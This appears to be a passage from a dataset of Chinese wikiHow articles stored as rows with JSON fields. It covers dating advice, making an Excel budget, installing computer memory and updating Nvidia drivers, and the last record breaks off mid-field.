\"爱，是音乐、诗歌、画作、电影、文学作品中永恒的主题。每个人都想得到它，但是没有人知道如何得到。你怎样才能恋爱呢？一个简单的答案却一直困扰着从古至今的男男女女。但是，恋爱专家为我们提供了一些简单的方法和技巧来让这个过程更简单。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"因为正确的原因而恋爱\", \"步骤\": [{\"编号\": 1, \"标题\": \"\", \"描述\": \"{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/0\\\\/06\\\\/Fall-in-Love-Step-1.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/06\\\\/Fall-in-Love-Step-1.png\\\\/220px-Fall-in-Love-Step-1.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n为了恋爱，你需要找一个爱的人。如果你根本不见人，那么当然遇不到对的人。你不需要当一个派对王，你只需要经常出门参加一些会遇到新朋友的社交活动。如果这些新朋友很有魅力而刚好又跟你年龄相仿，那就更好了。\\n你爱上的人可以是一个新朋友，也可以是一个你已经认识很久的人。了解你自己的感情，开朗一点，勇于表达自己的内心。\\n试着避免“一见钟情”。这种想法是很浪漫的，但是实际上，基本上不可能在你不认识他/她的情况下就找到那个对的人。毫无根据的爱表明你可能只是迷恋，也就是爱上了一个不存在的理想恋人。\"}, {\"编号\": 2, \"标题\": \"\", \"描述\": \"{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/d\\\\/de\\\\/Fall-in-Love-Step-2.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/de\\\\/Fall-in-Love-Step-2.png\\\\/220px-Fall-in-Love-Step-2.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n就算你已经参加了很多派对，你的朋友们也给你介绍了很多有趣的、有魅力的人，你还是应该多给这个过程一点时间。耐心等待。可能会花很多年才能找到对的人。在此期间，你可能找到那些你认为是对的人，但实际上不是。将这些机会作为学习经验的过程。最终，你会知道你要找的最适合你的人是哪一种。\\n对遇到的每个人都要友好和开朗。就算你在第一次遇到这个人的时候并没有什么感觉，你可能最终会发现自己爱上了他/她。这甚至还可能发生在那些你一开始根本就不在意的人身上。这也表明这个人很有深度和内涵。\\n记住，异性相吸。在你遇到新的人的时候，日久见人心。长期的关系可以建立在两个一开始互斥的性格上。\"}, {\"编号\": 3, \"标题\": \"\", \"描述\": \"{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/c\\\\/c0\\\\/Fall-in-Love-Step-3.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/c0\\\\/Fall-in-Love-Step-3.png\\\\/220px-Fall-in-Love-Step-3.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n你如果已经花了一些时间见新的朋友，而其中的一个人引起了你的注意。你迫切地想知道所有人都想知道的：他/她对你有兴趣吗？观察他/她的肢体动作。这个人是不是经常跟你眼神交流？他们会不会偶尔不小心碰到你？如果你不确定的话，试着给他们的朋友暗示，然后看看他们是如何反应的。\\n我们的文章《如何知道一个男生是否喜欢你》和《如何知道一个女生是否喜欢你》提供了发现爱的暗示的详细建议。\"}, {\"编号\": 4, \"标题\": \"\", \"描述\": \"{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/6\\\\/68\\\\/Fall-in-Love-Step-4.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/6\\\\/68\\\\/Fall-in-Love-Step-4.png\\\\/220px-Fall-in-Love-Step-4.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":220,\\\"bigHeight\\\":220,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n这可能会是一段年轻的关系中最悲惨的部分，但是不一定。当你约感兴趣的人出来的时候一定要记住，你和他/她都是人。要对他们有感情，尊重他们，你想别人怎么对待你，你就怎么对待别人。记住，如果你想得到爱，但是你不约任何人出去，你是在搬起石头砸自己的脚。在爱情里，你不应该等别人来为你做这件事。抓住机会。\\n看看我们关于如何约别人出去的文章，获得多种技巧和想法等。\\n不要让你自己被你喜欢的人的美貌或社会地位所吓到。不要觉得你自己“不够好”。如果他/她看起来真的对你很感兴趣，他/她很可能觉得你足够好了。这很简单。\\n女士们，不要怕主动约男生出去！\"}, {\"编号\": 5, \"标题\": \"\", \"描述\": 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\"不要怕再想一晚。人们说，“不要让气愤过夜”，这是有一定道理的，因为这说明你不应该一直都很郁闷，就算很困难也应该将事情解决。但是有时候吵架真的会升级到为了吵而吵。带着没有解决的问题去睡觉，明天再一起解决会让你们双方都冷静下来。考虑到对方的观点，认识到是什么在让你生气。给彼此空间、尊重、和时间去反省，尽量更客观是很重要的。当你真的爱某人的时候，有时候会让你的情绪非常激动，而思考会让你重拾你的公平感和是非观。\\n\", \"尊重彼此。当你生气的时候，不要骂人。要意识到极度郁闷会让你像疯子一样。如果你真的那么生气的话，当你发现自己很想打人或骂人，说“我现在很生气很伤心，我觉得我们不应该现在谈这件事。我需要一些时间来整理自己的思绪。我想出去散散步/回家，晚点打给你或者明天再说。”\\n\"], \"注意事项\": [\"恋爱并不代表你拥有对方的所有权。占有欲太强并不好，并且会消磨对方对你的爱。你必须很信任他/她，相信他/她对你的爱。占有欲和嫉妒心很可爱，如果是合理的范围内的话。如果你开始变得像一个神经质的人，每当有人跟你的恋人说话时你就很生气的话，那么这就很恐怖了。\\n\", \"恋爱能给你最大的快乐，也能给你最多的伤痛。\\n\", \"爱赋予了别人伤害你的能力，而你却宁可相信他/她不会。\\n\", \"一旦信任破灭的话，我们就不会像第一次那样轻易相信别人了。\\n\", \"就算最让人看好的恋情，也可能会结束。有很多原因，也可能没有原因。如果不管因为什么原因，你的恋情结束了，好好疗伤，学习怎样才能治愈你的心。不要害怕再一次去爱。有时候会很痛，但当爱情很美满的时候，真的很好。斯丁说过，“爱能修复你的生活，也能伤你的心。”这两句话都很对。但是如果你愿意的话，破碎的心也能通过找寻新的爱来被完全治愈。\\n\"]}]}}",
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14,676 | 如何在Excel里做个人预算表 | 1. 步骤
1-1. 在开始创建你的Excel预算前，记录一两个月你的收入和花销。
1-2. 在第一个或第二个月末的时候评估你的收入，确定你平均每个月的收入。
除非你是自己创业，否则可能使用你的净收入比使用毛收入更简单。
1-3. 看看你在这一两个月中你的钱都花在哪儿，基于此为你的预算分类。
你需要建立宽泛一点的种类，比如住房、食品、还款等，然后在它们下面建立次级种类，比如在住房下面建立房贷或房租、电费、维修等种类。
1-4. 打开Excel，建立一张新的表。
1-5. 保存该表。
将其命名为“预算”或其它类似的名字。
1-6. 在预算表的顶栏输入每个月份，从B栏开始。
1-7. 在第二行的A栏输入“收入”一词。
在“收入”一词下面，列出你们每个月所有的收入，包括工资、配偶的工资、你得到的任何奖金或提成、利息或分红，以及任何其它收入。
在收入下面，输入“总收入”一词。
1-8. 在“总收入”单元格旁边一格输入=sum(B# :
B#2)。#号代表收入的第一行，而#2则代表收入的最后一行。"B"是你算总数的一列。这应该是一月份的。
1-9. 在剩下的月份行输入 =sum(letter# :
letter#2)。该公式会自动计算出你每个月的收入总和。 不要输入“字母”，而应该该行对应的字母（C, D, E等）。
1-10. 添加最后一行来计算你全年的总收入。
将它输入到十二月份后面的单元格中。在这一行的每个单元格中输入=sum公式，计算你全年的总收入。
1-11. 在A栏收入部分下面的下一行输入“花费”一词。
1-12. 选择一个种类来输入下面的花销。
比如，在A栏的“花费”下输入“住房”。
1-13. 在下面的行中列出所有跟住房有关的花费。
包括维修、房租、房贷、电费、电话和网络服务、装修以及美化等。
1-14. 在“住房”种类下的最后一行输入“总计”，然后在每个月的每一行中输入=sum公式。
该公式会计算你在每个月使用了多少。
1-15. 在“总计”下面的A栏中输入“预计”或“估计”，然后输入你基于之前记录想每个月花在住房上面的钱。
你将能比较你想花的钱和“估计”的钱。可以通过查看“总计”的数字和“估计”的数字来比较。按需要来调整“估计”的数量。
1-16. 继续在Excel表中建立你个人预算的每一个种类。
使用 =sum公式来计算每个种类的总数，并跟你的预期做比较。
1-17. 在你所有预算部分下面的A栏中输入“总花销”。
在旁边的栏里输入 =sum(B# :B#2), 在这里 #是此列花销中的第一行数字，而 #2是最后一行数字。在剩下的栏中重复该步骤。
1-18. 在A栏中“总花销”下面一行输入“结余/短缺”。
在B栏中输入=sum(B# -B#2), 这里的 # 是你总收入行的数字，而#2 是“总花销”行的数字。
该公式会从你的收入中减去总花销，让你看到你是否花得比挣得多。在剩下的列里也重复该步骤。
| {
"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 在开始创建你的Excel预算前，记录一两个月你的收入和花销。\\n\\n1-2. 在第一个或第二个月末的时候评估你的收入，确定你平均每个月的收入。\\n除非你是自己创业，否则可能使用你的净收入比使用毛收入更简单。\\n1-3. 看看你在这一两个月中你的钱都花在哪儿，基于此为你的预算分类。\\n你需要建立宽泛一点的种类，比如住房、食品、还款等，然后在它们下面建立次级种类，比如在住房下面建立房贷或房租、电费、维修等种类。\\n1-4. 打开Excel，建立一张新的表。\\n\\n1-5. 保存该表。\\n将其命名为“预算”或其它类似的名字。\\n1-6. 在预算表的顶栏输入每个月份，从B栏开始。\\n\\n1-7. 在第二行的A栏输入“收入”一词。\\n在“收入”一词下面，列出你们每个月所有的收入，包括工资、配偶的工资、你得到的任何奖金或提成、利息或分红，以及任何其它收入。\\n在收入下面，输入“总收入”一词。\\n1-8. 在“总收入”单元格旁边一格输入=sum(B# :\\nB#2)。#号代表收入的第一行，而#2则代表收入的最后一行。\\\"B\\\"是你算总数的一列。这应该是一月份的。\\n1-9. 在剩下的月份行输入 =sum(letter# :\\nletter#2)。该公式会自动计算出你每个月的收入总和。 不要输入“字母”，而应该该行对应的字母（C, D, E等）。\\n1-10. 添加最后一行来计算你全年的总收入。\\n将它输入到十二月份后面的单元格中。在这一行的每个单元格中输入=sum公式，计算你全年的总收入。\\n1-11. 在A栏收入部分下面的下一行输入“花费”一词。\\n\\n1-12. 选择一个种类来输入下面的花销。\\n比如，在A栏的“花费”下输入“住房”。\\n1-13. 在下面的行中列出所有跟住房有关的花费。\\n包括维修、房租、房贷、电费、电话和网络服务、装修以及美化等。\\n1-14. 在“住房”种类下的最后一行输入“总计”，然后在每个月的每一行中输入=sum公式。\\n该公式会计算你在每个月使用了多少。\\n1-15. 在“总计”下面的A栏中输入“预计”或“估计”，然后输入你基于之前记录想每个月花在住房上面的钱。\\n你将能比较你想花的钱和“估计”的钱。可以通过查看“总计”的数字和“估计”的数字来比较。按需要来调整“估计”的数量。\\n1-16. 继续在Excel表中建立你个人预算的每一个种类。\\n使用 =sum公式来计算每个种类的总数，并跟你的预期做比较。\\n1-17. 在你所有预算部分下面的A栏中输入“总花销”。\\n在旁边的栏里输入 =sum(B# :B#2), 在这里 #是此列花销中的第一行数字，而 #2是最后一行数字。在剩下的栏中重复该步骤。\\n1-18. 在A栏中“总花销”下面一行输入“结余/短缺”。\\n在B栏中输入=sum(B# -B#2), 这里的 # 是你总收入行的数字，而#2 是“总花销”行的数字。\\n该公式会从你的收入中减去总花销，让你看到你是否花得比挣得多。在剩下的列里也重复该步骤。\\n\", \"简要回答\": \"要是知道如何在Excel中做一张个人预算表，你便能学习如何记录每年或每个月的花费和收入。不用花钱买预算软件，一张预算表是找出你是如何花钱的简单方法。使用表格也能让你基于自己的情况来为自己量身定做预算表。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"在开始创建你的Excel预算前，记录一两个月你的收入和花销。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"在第一个或第二个月末的时候评估你的收入，确定你平均每个月的收入。\", \"描述\": \"除非你是自己创业，否则可能使用你的净收入比使用毛收入更简单。\"}, {\"编号\": 3, \"标题\": \"看看你在这一两个月中你的钱都花在哪儿，基于此为你的预算分类。\", \"描述\": \"你需要建立宽泛一点的种类，比如住房、食品、还款等，然后在它们下面建立次级种类，比如在住房下面建立房贷或房租、电费、维修等种类。\"}, {\"编号\": 4, \"标题\": \"打开Excel，建立一张新的表。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"保存该表。\", \"描述\": \"将其命名为“预算”或其它类似的名字。\"}, {\"编号\": 6, \"标题\": \"在预算表的顶栏输入每个月份，从B栏开始。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"在第二行的A栏输入“收入”一词。\", \"描述\": \"在“收入”一词下面，列出你们每个月所有的收入，包括工资、配偶的工资、你得到的任何奖金或提成、利息或分红，以及任何其它收入。\\n在收入下面，输入“总收入”一词。\"}, {\"编号\": 8, \"标题\": \"在“总收入”单元格旁边一格输入=sum(B# :\", \"描述\": \"B#2)。#号代表收入的第一行，而#2则代表收入的最后一行。\\\"B\\\"是你算总数的一列。这应该是一月份的。\"}, {\"编号\": 9, \"标题\": \"在剩下的月份行输入 =sum(letter# :\", \"描述\": \"letter#2)。该公式会自动计算出你每个月的收入总和。 不要输入“字母”，而应该该行对应的字母（C, D, E等）。\"}, {\"编号\": 10, \"标题\": \"添加最后一行来计算你全年的总收入。\", \"描述\": \"将它输入到十二月份后面的单元格中。在这一行的每个单元格中输入=sum公式，计算你全年的总收入。\"}, {\"编号\": 11, \"标题\": \"在A栏收入部分下面的下一行输入“花费”一词。\", \"描述\": \"\"}, {\"编号\": 12, \"标题\": \"选择一个种类来输入下面的花销。\", \"描述\": \"比如，在A栏的“花费”下输入“住房”。\"}, {\"编号\": 13, \"标题\": \"在下面的行中列出所有跟住房有关的花费。\", \"描述\": \"包括维修、房租、房贷、电费、电话和网络服务、装修以及美化等。\"}, {\"编号\": 14, \"标题\": \"在“住房”种类下的最后一行输入“总计”，然后在每个月的每一行中输入=sum公式。\", \"描述\": \"该公式会计算你在每个月使用了多少。\"}, {\"编号\": 15, \"标题\": \"在“总计”下面的A栏中输入“预计”或“估计”，然后输入你基于之前记录想每个月花在住房上面的钱。\", \"描述\": \"你将能比较你想花的钱和“估计”的钱。可以通过查看“总计”的数字和“估计”的数字来比较。按需要来调整“估计”的数量。\"}, {\"编号\": 16, \"标题\": \"继续在Excel表中建立你个人预算的每一个种类。\", \"描述\": \"使用 =sum公式来计算每个种类的总数，并跟你的预期做比较。\"}, {\"编号\": 17, \"标题\": \"在你所有预算部分下面的A栏中输入“总花销”。\", \"描述\": \"在旁边的栏里输入 =sum(B# :B#2), 在这里 #是此列花销中的第一行数字，而 #2是最后一行数字。在剩下的栏中重复该步骤。\"}, {\"编号\": 18, \"标题\": \"在A栏中“总花销”下面一行输入“结余/短缺”。\", \"描述\": \"在B栏中输入=sum(B# -B#2), 这里的 # 是你总收入行的数字，而#2 是“总花销”行的数字。\\n该公式会从你的收入中减去总花销，让你看到你是否花得比挣得多。在剩下的列里也重复该步骤。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,677 | 如何安装计算机内存 | 1. 步骤
1-1. 确定你的台式计算机支持的内存类型。
制造商一般可以为你推荐所需的内存。（如果你有一台戴尔计算机，戴尔更新软件可以提供网页链接，告诉你所需的内存类型。但是你不需要从计算机制造商购买。）确定内存PC型号（例如PC2700），内存速度（例如333 Mhz）和计算机内存容量（例如2GB）。如果你希望保留现有内存条的情况下，再添加额外的内存条，那么你还需要确定自己计算机有多少个内存插槽。
1-2. 在网上购买内存比较便宜。
退货条款很有必要，因为你有可能会选购错误类型的内存。此外，保修条款也很重要。
1-3. 关闭计算机电源，并将所有连接线缆拔出.
1-4. 打开计算机机箱。
在计算机背面一般会有一个螺钉固定的栓锁，因此你可能需要准备一个螺丝刀（大部分是十字螺钉）。也有一些新款计算机的栓锁位于机箱前部（戴尔）。你可以将计算机侧面平放在一个坚固平面上，并使得主板正面朝上，因为这样放置计算机安装内存起来比较容易。
1-5. 确保你自己身上不带有静电。
静电会损害计算机内部设备。你在安装内存时，不要穿着羊毛衫，不要将脚拖在地毯走，除非万不得已，不要将气球在头发上摩擦。你也可以购买一个接地的手环以防止静电产生。
1-6. 当你打开了计算机机箱，而且对静电采取了防范措施以后，下一步需要找到主板上的内存插槽。
大部分计算机的主板都有2个或4个内存插槽。大部分内存插槽位于计算机主板的右上方。你可以在计算机上看到和你购买的内存条类似的部件。
1-7. 如果还有空余的插槽，你可以将新的内存条安装在其中。
如果主板上只有一个插槽，那么你需要打开夹子才能够拆下原来的内存。夹子一般是白色，位于插槽边上。你需要向插槽外方向按下夹子。内存两边各有一个夹子。拆下旧的内存。捏住内存边缘，不要碰到内存上的芯片或金属连接线。你可以保留旧的内存或将它卖掉。
1-8. 阅读新内存包装中的说明书。
其中可能有一些需要特别注意的信息。
1-9. 观察新的内存和主板上的内存插槽。
每个内存插槽上应该都会有一个缺口。小心拿起内存的边缘或塑料部分。不要碰到金属或芯片部分。将新内存的缺口与主板上的缺口对齐。
1-10. 小心地将内存压入插槽，直到夹子完全关闭。
你可能需要向插槽内方向按下夹子，但需要非常小心地操作。如果内存无法插入，不要强行进行。你可以将内存换个方向试试。
1-11. 如果你还有内存需要安装，可以重复上述步骤。
额外的内存条安装起来可能会更困难，因为已经安装好的内存会减少你手指操作的空间。请细心操作。
1-12. 如果计算机内有很多灰尘，你可以使用压缩空气罐进行清洁。
压缩空气罐可以在普通办公用品商店买到。不要距离计算机太近使用压缩空气。计算机机箱打开时是对计算机进行清洁的好时机。
1-13. 关上计算机机箱，重新连上包括显示器和电源线在内的所有外接设备和线缆。
计算机将在屏幕上显示检测到新内存及其容量。屏幕上显示容量应该和你购买内存容量完全一致。操作系统使用不同方式计算内存容量，有一些计算机将部分内存分配给特定应用（例如显示），从而使得可用内存容量减少。例如，你可能购买的内存容量为1G。操作系统显示只有0.99G。
1-14. 如果计算机运行速度加快，那就说明安装成功了！内存可以帮助运行和关闭应用程序。
因此你应该会发现应用程序运行更快了。如果应用程序速度没有提升，可能是因为内存有问题，或者可能是因为计算机内存过多。
1-15. 最后检查系统设置确认内存正常。
（在Windows系统中，在按下Windows键同时，按下键盘右上角的暂停/中断键。内存容量将在菜单的下方显示。）系统设置显示的容量可能要比你安装内存小一些，例如1G内存显示为0.99G。
1-16. 祝贺！你刚刚安装了新的内存。
小提示
http://www.crucial.com/是一个非常实用的内存网站，你可以使用该网站的内存建议工具获得重要信息，例如计算机的内存类型和容量。你也可以通过该网站购买内存。
如果你在启动计算机后听到警报声，这可能是由于内存类型的错误，或者安装内存错误引起的。如果计算机是在商店购买的，你可以联系商店或制造商获取警报编码代表的错误类型。
操作系统所需的内存容量：
Windows Vista/7：32位版本最低配置为1GB，64位版本最低配置为2GB，32位版本推荐配置为2GB，64位版本推荐配置为4GB
Windows XP：最低配置为64MB，推荐配置为128MB
MacOS X：最低配置为256MB，推荐配置为512MB
Ubuntu：最低配置为64MB（256MB LiveCD），推荐配置为512MB
如果你听见除了长响一秒钟之外的其他警告声，请参考主板说明书确定警告编码代表的错误类型。警告代码一般会在一个或多个计算机部件POST（加电自检）错误后产生，这往往意味着硬件故障或不兼容。
如果你打算添加内存（而非替换），请确认有足够的内存插槽。一般情况下，你可以购买与现有内存容量相同的内存条进行添加。使用一对512MB的内存也比将512M内存替换为1024MB要便宜一些。
如果你发现计算机显示的容量比你购买的内存稍小，请不要在意。差异可能是由于计算方法不同或这内存分配原因引起的。如果内存容量与你购买并安装的有很大不同，那么内存可能没有安装好，或者有缺陷。
警告
不要反方向安装内存条，如果在内存装反的情况下启动计算机，那么内存插槽及其内存会马上烧毁，在极端情况下，整个主板都有可能被烧毁。
这些操作步骤仅适用于台式机电脑，不适用于笔记本电脑。
步骤3及其后续步骤都需要打开计算机机箱。如果你没有把握完成这些操作，可以将计算机交给专业人士处理。如果你已经自己购买了内存，那么请别人安装应该不会收费太多。
在接触内存之前，请确认排除任何可能的静电，因为内存对ESD（静电电流）非常敏感。你可以在操作计算机内部设备之前接触金属物品来去掉自己身上累积的静电。
不要接触内存芯片的金属部分。因为这可能会损坏内存条。
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小心地将内存压入插槽，直到夹子完全关闭。\\n你可能需要向插槽内方向按下夹子，但需要非常小心地操作。如果内存无法插入，不要强行进行。你可以将内存换个方向试试。\\n1-11. 如果你还有内存需要安装，可以重复上述步骤。\\n额外的内存条安装起来可能会更困难，因为已经安装好的内存会减少你手指操作的空间。请细心操作。\\n1-12. 如果计算机内有很多灰尘，你可以使用压缩空气罐进行清洁。\\n压缩空气罐可以在普通办公用品商店买到。不要距离计算机太近使用压缩空气。计算机机箱打开时是对计算机进行清洁的好时机。\\n1-13. 关上计算机机箱，重新连上包括显示器和电源线在内的所有外接设备和线缆。\\n计算机将在屏幕上显示检测到新内存及其容量。屏幕上显示容量应该和你购买内存容量完全一致。操作系统使用不同方式计算内存容量，有一些计算机将部分内存分配给特定应用（例如显示），从而使得可用内存容量减少。例如，你可能购买的内存容量为1G。操作系统显示只有0.99G。\\n1-14. 如果计算机运行速度加快，那就说明安装成功了！内存可以帮助运行和关闭应用程序。\\n因此你应该会发现应用程序运行更快了。如果应用程序速度没有提升，可能是因为内存有问题，或者可能是因为计算机内存过多。\\n1-15. 最后检查系统设置确认内存正常。\\n（在Windows系统中，在按下Windows键同时，按下键盘右上角的暂停/中断键。内存容量将在菜单的下方显示。）系统设置显示的容量可能要比你安装内存小一些，例如1G内存显示为0.99G。\\n1-16. 祝贺！你刚刚安装了新的内存。\\n\\n小提示\\nhttp://www.crucial.com/是一个非常实用的内存网站，你可以使用该网站的内存建议工具获得重要信息，例如计算机的内存类型和容量。你也可以通过该网站购买内存。\\n如果你在启动计算机后听到警报声，这可能是由于内存类型的错误，或者安装内存错误引起的。如果计算机是在商店购买的，你可以联系商店或制造商获取警报编码代表的错误类型。\\n操作系统所需的内存容量：\\nWindows Vista/7：32位版本最低配置为1GB，64位版本最低配置为2GB，32位版本推荐配置为2GB，64位版本推荐配置为4GB\\nWindows XP：最低配置为64MB，推荐配置为128MB\\nMacOS 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\"如果你在启动计算机后听到警报声，这可能是由于内存类型的错误，或者安装内存错误引起的。如果计算机是在商店购买的，你可以联系商店或制造商获取警报编码代表的错误类型。\\n\", \"操作系统所需的内存容量：\\nWindows Vista/7：32位版本最低配置为1GB，64位版本最低配置为2GB，32位版本推荐配置为2GB，64位版本推荐配置为4GB\\nWindows XP：最低配置为64MB，推荐配置为128MB\\nMacOS X：最低配置为256MB，推荐配置为512MB\\nUbuntu：最低配置为64MB（256MB LiveCD），推荐配置为512MB\\n\", \"如果你听见除了长响一秒钟之外的其他警告声，请参考主板说明书确定警告编码代表的错误类型。警告代码一般会在一个或多个计算机部件POST（加电自检）错误后产生，这往往意味着硬件故障或不兼容。\\n\", \"如果你打算添加内存（而非替换），请确认有足够的内存插槽。一般情况下，你可以购买与现有内存容量相同的内存条进行添加。使用一对512MB的内存也比将512M内存替换为1024MB要便宜一些。\\n\", \"如果你发现计算机显示的容量比你购买的内存稍小，请不要在意。差异可能是由于计算方法不同或这内存分配原因引起的。如果内存容量与你购买并安装的有很大不同，那么内存可能没有安装好，或者有缺陷。\\n\"], \"注意事项\": [\"不要反方向安装内存条，如果在内存装反的情况下启动计算机，那么内存插槽及其内存会马上烧毁，在极端情况下，整个主板都有可能被烧毁。\\n\", \"这些操作步骤仅适用于台式机电脑，不适用于笔记本电脑。\\n\", \"步骤3及其后续步骤都需要打开计算机机箱。如果你没有把握完成这些操作，可以将计算机交给专业人士处理。如果你已经自己购买了内存，那么请别人安装应该不会收费太多。\\n\", \"在接触内存之前，请确认排除任何可能的静电，因为内存对ESD（静电电流）非常敏感。你可以在操作计算机内部设备之前接触金属物品来去掉自己身上累积的静电。\\n\", \"不要接触内存芯片的金属部分。因为这可能会损坏内存条。\\n\"]}]}}",
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14,678 | 如何更新Nvidia驱动程序 | 1. 手动更新
1-1. 打开DirectX诊断工具。
这是你查找确切显卡型号最快的方法。如果你已经知道显卡型号，那就跳过此步骤。
按⊞ Win+R，然后输入dxdiag。
点击显示选项卡。查看“芯片类型”条目。这就是你的显卡型号。
点击系统选项卡。找到“操作系统”条目，确定你运行的是32位还是64位的Windows。
1-2. 访问Nvidia GeForce网站。
你可以从GeForce网站(geforce.com)下载最新驱动程序。
1-3. 点击“驱动程序”选项卡。
大多数Nvidia显卡都是“GeForce”系列的。如果你的显卡是其他系列，那就访问nvidia.com网站。
1-4. 选择你的显卡。
有三种方法可以选择你的驱动程序：
自动更新驱动程序 — 使用Nvidia GeForce Experience程序来管理驱动更新。点击这里了解更多详情。
手动搜索驱动程序 — 根据第1步中确认的信息来选择正确的驱动程序。屏幕将显示四个最新的驱动程序。
自动检测你的GPU — Nvidia网站会利用一个Java小程序来检测你的显卡并显示正确的驱动程序。你需要安装Java才能运行这个小程序。当前的小程序已经过期，因此可能会导致某些浏览器出现问题。在这一步中，使用另外两种方法之一会更方便些。
1-5. 下载最新驱动程序。
点击链接，下载最新版本的驱动程序。除非你特地要安装较早的版本，否则应该总是下载最新的版本。最新版本通常能发挥最佳的性能。
1-6. 运行安装程序。
运行下载的安装程序，更新你的驱动程序。安装程序会自动删除旧的驱动程序，然后安装更新后的驱动程序。
大多数用户在安装时可以选择“快速”选项。
在安装过程中，电脑屏幕可能会闪烁或短暂变黑。
1-7. 如果新驱动程序导致问题，请使用系统还原。
在安装驱动程序更新后，系统会自动创建一个还原点。这样，你就能让系统回滚到安装驱动程序之前。
点击此处，了解更多关于系统恢复的详情。
2. 使用GeForce Experience
2-1. 下载并安装GeForce Experience程序。
这是一个Nvidia程序，用于管理你的Nvidia驱动程序和游戏设置。你可以从geforce.com/geforce-experience下载安装程序。
安装程序将扫描系统中支持的硬件。如果你没有安装Nvidia显卡或者使用的较早的产品，那在安装时就可能会遇到错误。
安装完成后启动程序。
2-2. 允许GeForce Experience进行更新。
在你启动GeForce Experience时，它会检查是否有任何更新。
2-3. 点击“驱动程序”选项卡。
其中会显示任何可用的驱动程序更新。如果GeForce Experience最近没有进行检查，那就点击“检查更新”按钮。
一旦安装了这个应用程序，只要有新的驱动程序推出，你就会自动收到通知。
2-4. 点击“下载驱动程序”按钮，下载可用更新。
GeForce Experience可能会提前下载好这些文件。
2-5. 点击“快速安装”按钮。
高级用户可以选择“自定义”选项。大多数用户选择“快速安装”就可以了。
自定义安装将允许你选择要安装的驱动程序。
2-6. 等待安装驱动程序。
GeForce Experience将负责处理所有的安装工作。在安装过程中，电脑屏幕可能会闪烁或熄灭片刻。
2-7. 如果出现问题，可以使用“系统还原”工具进行回滚。
在更新Nvidia驱动程序时，Windows系统会创建一个还原点。你可以启动进入安全模式，然后运行系统还原工具恢复到更新驱动程序之前的状态。
点击此处查看使用“系统还原”工具的指南。
3. 更新Ubuntu驱动程序
3-1. 打开“其他驱动程序”窗口。
如果你使用的Ubuntu，那么Nvidia驱动程序不会自动安装。相反，Ubuntu使用的是开放源码的驱动程序，而这类驱动程序并不那么强大。你可以通过“其他驱动程序”窗口来安装Nvidia驱动程序。
启动控制面板并输入“驱动程序”，打开“其他驱动程序”窗口。
3-2. 等待加载可用的驱动程序列表。
这可能需要一些时间。
3-3. 从列表中选择最新的驱动程序。
确保它是Nvidia的驱动程序，而不是“Nouveau”驱动程序。选择驱动程序，开始下载文件。
3-4. 点击“应用更改”按钮。
随后将安装Nvidia驱动程序。在安装过程中，电脑屏幕可能会短暂闪烁或熄灭。
3-5. 重启电脑。
重新启动电脑，完成安装过程。
| {
"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 手动更新\\n1-1. 打开DirectX诊断工具。\\n这是你查找确切显卡型号最快的方法。如果你已经知道显卡型号，那就跳过此步骤。\\n按⊞ Win+R，然后输入dxdiag。\\n点击显示选项卡。查看“芯片类型”条目。这就是你的显卡型号。\\n点击系统选项卡。找到“操作系统”条目，确定你运行的是32位还是64位的Windows。\\n1-2. 访问Nvidia GeForce网站。\\n你可以从GeForce网站(geforce.com)下载最新驱动程序。\\n1-3. 点击“驱动程序”选项卡。\\n大多数Nvidia显卡都是“GeForce”系列的。如果你的显卡是其他系列，那就访问nvidia.com网站。\\n1-4. 选择你的显卡。\\n有三种方法可以选择你的驱动程序：\\n自动更新驱动程序 — 使用Nvidia GeForce Experience程序来管理驱动更新。点击这里了解更多详情。\\n手动搜索驱动程序 — 根据第1步中确认的信息来选择正确的驱动程序。屏幕将显示四个最新的驱动程序。\\n自动检测你的GPU — Nvidia网站会利用一个Java小程序来检测你的显卡并显示正确的驱动程序。你需要安装Java才能运行这个小程序。当前的小程序已经过期，因此可能会导致某些浏览器出现问题。在这一步中，使用另外两种方法之一会更方便些。\\n1-5. 下载最新驱动程序。\\n点击链接，下载最新版本的驱动程序。除非你特地要安装较早的版本，否则应该总是下载最新的版本。最新版本通常能发挥最佳的性能。\\n1-6. 